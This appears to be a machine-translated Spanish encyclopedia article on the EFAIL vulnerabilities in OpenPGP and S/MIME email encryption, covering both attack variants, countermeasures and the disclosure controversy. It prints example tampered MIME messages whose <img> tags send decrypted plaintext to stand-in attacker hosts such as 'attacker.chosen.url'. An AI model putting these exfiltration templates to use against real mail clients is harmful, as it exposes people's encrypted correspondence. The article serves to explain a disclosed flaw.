Efail

EFAIL
Image

Tipo software
Número (s) CVE

CVE-2017-17688 , CVE-2017-17689

Fecha de descubrimiento 24 de noviembre de 2017
Fecha de lanzamiento 13 de mayo de 2018
Productos)

Programas de correo electrónico , OpenPGP , S / MIME

Efail ( ortografía : EFAIL) son dos lagunas de seguridad en los sistemas de correo electrónico con los que se puede leer el contenido a pesar del cifrado de extremo a extremo . Las lagunas se pueden aprovechar en los dos formatos comunes OpenPGP y S / MIME . Como resultado de las brechas de seguridad, los atacantes pueden canalizar el texto sin formato de los correos electrónicos cifrados de los clientes de correo electrónico afectados después del descifrado y transmitirlo a un servidor que controlan. Las claves utilizadas no se divulgan. Un requisito previo para un ataque exitoso es que el método de cifrado utilizado sea vulnerable y que el programa de correo electrónico ejecute contenido activo como HTML o JavaScript y recargue contenido externo.

Las vulnerabilidades fueron presentadas y publicadas por Damian Poddebniak, Christian Dresen, Jens Müller, Fabian Ising, Sebastian Schinzel, Simon Friedberger, Juraj Somorovsky y Jörg Schwenk el 13 de mayo de 2018 como contribución al 27o Simposio de Seguridad de USENIX , Baltimore, agosto de 2018 .

descripción

Modelo atacante

Para un ataque exitoso, el atacante necesita acceso a los correos electrónicos para ser atacado en su representación encriptada. Esto puede, por ejemplo, Esto podría deberse, por ejemplo, a una falta de cifrado de transporte (consulte, por ejemplo, Seguridad de la capa de transporte ) o un ataque exitoso al proveedor de correo electrónico. Además, un atacante debe poder enviar una variante modificada del correo electrónico a al menos un destinatario habitual vulnerable de este correo electrónico o modificarlo durante el transporte a él o en su ubicación de almacenamiento.

Variante 1: dispositivos de maleabilidad

En la primera variante de efail, el ataque de dispositivo de maleabilidad (del inglés maleability 'formability' y gadget , alemán 'device'), el atacante realiza cambios específicos en el texto cifrado para insertar nuevos bloques de texto sin formato en un correo electrónico cifrado. Esta variante del ataque requiere que el sistema de cifrado no utilice ninguna medida contra cambios en el texto cifrado, como códigos de autenticación de mensajes o un código de detección de modificaciones (MDC) . Estos cambios se pueden realizar sin conocer la clave privada.

El texto sin formato resultante contiene texto nuevo, como Como HTML : <IMG>envía una etiqueta en su procesamiento del cliente de correo electrónico al correo electrónico de texto sin formato a un atacante.

Ejemplo de un mensaje S / MIME modificado por gadgets de maleabilidad

Después de la modificación por parte del atacante, un mensaje S / MIME cifrado tiene la siguiente estructura (el carácter |se utiliza para ilustrar los límites del bloque AES): 

MIME-Version: 1.0
Content-Type: application/pkcs7-mime;
	smime-type=enveloped-data;
	name="smime.p7m"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="smime.p7m"

|attackertextatta|ckertextattacker|
|textattackertext|attackertextatta|ckertextattacker|textattackertext|ENCRYPTEDMESSAGE|attackertextatta|

Después de descifrar el mensaje modificado, el cliente de correo electrónico recibe el siguiente texto sin formato, por ejemplo: 

|Content-type: te|xt/html         |
|<img    ignore="|????????????????|"  src="atta.ck/|????????????????|GEHEIMENACHRICHT|">              |

El ataque del dispositivo da como resultado bytes aleatorios (marcados con "?") Que se producen en texto sin cifrar. Por lo tanto, en el ejemplo anterior, estos se comentan utilizando el atributo "ignorar" inexistente para evitar errores durante el análisis. El cliente de correo electrónico envía involuntariamente el texto plano secreto al atacante cuando se vuelve a cargar la imagen. El ataque del gadget de maleabilidad afecta a todas las formas de cifrado según el estándar S / MIME, ya que no especifica ninguna protección contra cambios en el texto cifrado hasta la versión actual 3.2 (2018). Al cifrar con OpenPGP, se utiliza un MDC con todos los métodos de cifrado actuales como estándar, pero no es obligatorio. El estándar también deja el manejo de MDC faltantes o incorrectos a la implementación.

Variante 2 - exfiltración directa

La segunda variante, la exfiltración directa , se basa en una implementación incorrecta del estándar MIME en clientes de correo electrónico y no afecta directamente a S / MIME u OpenPGP. Un atacante inserta adiciones específicas en el correo electrónico cifrado antes y después del texto cifrado y, por lo tanto, cambia el mensaje de tal manera que, por un lado, se crea un mensaje de varias partes según el estándar MIME (multiparte / mixto) y, por otro lado, la parte cifrada del Mensaje aparece como un valor de parámetro de una etiqueta HTML junto con las marcas de límites del mensaje MIME :

Ejemplo de mensaje S / MIME modificado para exfiltración directa
Content-Type: multipart/mixed; boundary="BOUNDARY"

--BOUNDARY
Content-Type: text/html

<img src="http://attacker.chosen.url/
--BOUNDARY
MIME-Version: 1.0
Content-Type: application/pkcs7-mime;
	smime-type=enveloped-data;
	name="smime.p7m"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="smime.p7m"

ENCRYPTEDMESSAGEENCRYPTEDMESSAGEENCRYPTEDMESSAGEENCRYPTEDMESSAGE…
--BOUNDARY
Content-Type: text/html

">
--BOUNDARY--

El cliente de correo electrónico primero descompone el mensaje de varias partes BOUNDARYen sus partes individuales utilizando las marcas y luego descifra las partes cifradas. Luego vuelve a ensamblar el mensaje de varias partes para que todas las partes se puedan mostrar en una ventana común. El código HTML resultante es así:

[...]
<img src="http://attacker.chosen.url/
GEHEIMENACHRICHTGEHEIMENACHRICHTGEHEIMENACHRICHTGEHEIMENACHRICHT
">
[...]

Transmisión del texto claro al atacante

En estos mensajes, el contenido descifrado del correo electrónico se encuentra ahora en el src=atributo de la <img>etiqueta HTML y el programa de correo electrónico lo transfiere como una URL al servidor web controlado por el atacante cuando se solicita este contenido attacker.chosen.url. El atacante ahora puede tomar el contenido del mensaje cifrado de los archivos de registro, por ejemplo .

Contramedidas (solución alternativa)

Dado que las vulnerabilidades de seguridad se dirigen contra el contenido del correo electrónico y no contra un solo destinatario, es necesario que todos los destinatarios implementen contramedidas adecuadas.

Las contramedidas agravantes incluyen:

  1. Desactivación de contenido activo como HTML o JavaScript al mostrar correos electrónicos.
  2. Supresión de la recarga automática de contenido externo, como B. Imágenes.

En qué medida los remitentes de contenido cifrado también pueden reducir la vulnerabilidad, p. Ej. B. mediante firmas electrónicas , aún no se ha aclarado definitivamente.

Solución para S / MIME

El debate provocado por efail condujo a un mayor desarrollo acelerado del estándar S / MIME . En abril de 2019, se publicó S / MIME Versión 4.0 como RFC 8551 , que también menciona a Efail por su nombre. RFC 8551 recomienda cambiar a AES - GCM lo antes posible .

crítica

En el anuncio de la vulnerabilidad de seguridad el 13 de mayo de 2018, Electronic Frontier Foundation (EFF) recomendó evitar los complementos PGP en los programas de correo electrónico por el momento. La publicación debería haber sido votada el 15 de mayo. Este enfoque a menudo ha sido criticado o discutido de manera controvertida. Se ha desarrollado una tormenta de mierda contra la EFF en las redes sociales . En un ensayo, Robert Hansen recomienda un grupo cerrado, p. Ej. B. en forma de lista de correo para poder coordinar mejor las futuras publicaciones de las brechas de seguridad por adelantado. A pesar de su disgusto por la EFF, lo considera el mejor organismo para administrar tal OpenPGP Disclosure Group y se dirige específicamente a su director, Danny O'Brien.

literatura

  • Damian Poddebniak, Christian Dresen, Jens Müller, Fabian Ising, Sebastian Schinzel, Simon Friedberger, Juraj Somorovsky y Jörg Schwenk: Efail: Rompiendo el cifrado de correo electrónico S / MIME y OpenPGP mediante canales de exfiltración . (Inglés, efail.de [PDF]).

enlaces web

Evidencia individual

  1. ↑ Shaw, David, Donnerhacke, Lutz, Thayer, Rodney, Finney, Hal, Callas, Jon: Formato de mensaje OpenPGP. Consultado el 2 de agosto de 2018 .
  2. ↑ a b Carsten Eilers: EFAIL: Ataque a correos encriptados - ¿Cómo funciona EFAIL y qué tan malo es realmente? En: entwickler.de. Software & Support Media GmbH, 27 de diciembre de 2018, consultado el 29 de marzo de 2019 .
  3. ↑ EFF en Twitter . En: Twitter . 13 de mayo de 2018 (inglés, twitter.com [consultado el 17 de mayo de 2018]): "Para protegerse, EFF recomienda encarecidamente que, por ahora, desinstale o desactive el complemento de correo electrónico de PGP".
  4. ^ Danny O'Brien y Gennie Gebhart: Atención, usuarios de PGP: las nuevas vulnerabilidades requieren que actúen ahora . Ed.: Electronic Frontier Foundation. 13 de mayo de 2018 (inglés, eff.org [consultado el 17 de mayo de 2018]).
  5. ↑ heise online: Comentario: Efail es un EFFail. 16 de mayo de 2018. Consultado el 17 de mayo de 2018 .
  6. ↑ heise Security: Entrevista con el desarrollador jefe de Enigmail: La publicación de Efail fue "precipitada". 15 de mayo de 2018. Consultado el 17 de mayo de 2018 .
  7. ↑ Werner Koch (OpenPGP): Efail u OpenPGP es más seguro que S / MIME. En: gnupg-users. 14 de mayo de 2018, consultado el 17 de mayo de 2018 .
  8. ^ Matthew Green: ¿La revelación de Efail fue terriblemente jodida? En: Algunas ideas sobre ingeniería criptográfica . 17 de mayo de 2018 (inglés, cryptographyengineering.com [consultado el 17 de mayo de 2018]).
  9. ↑ Hashtag #EFFail en Twitter. Consultado el 17 de mayo de 2018 .
  10. ↑ Robert Hansen: Efail: A Postmortem. En: medium.com. 20 de mayo de 2018. Consultado el 21 de mayo de 2018 .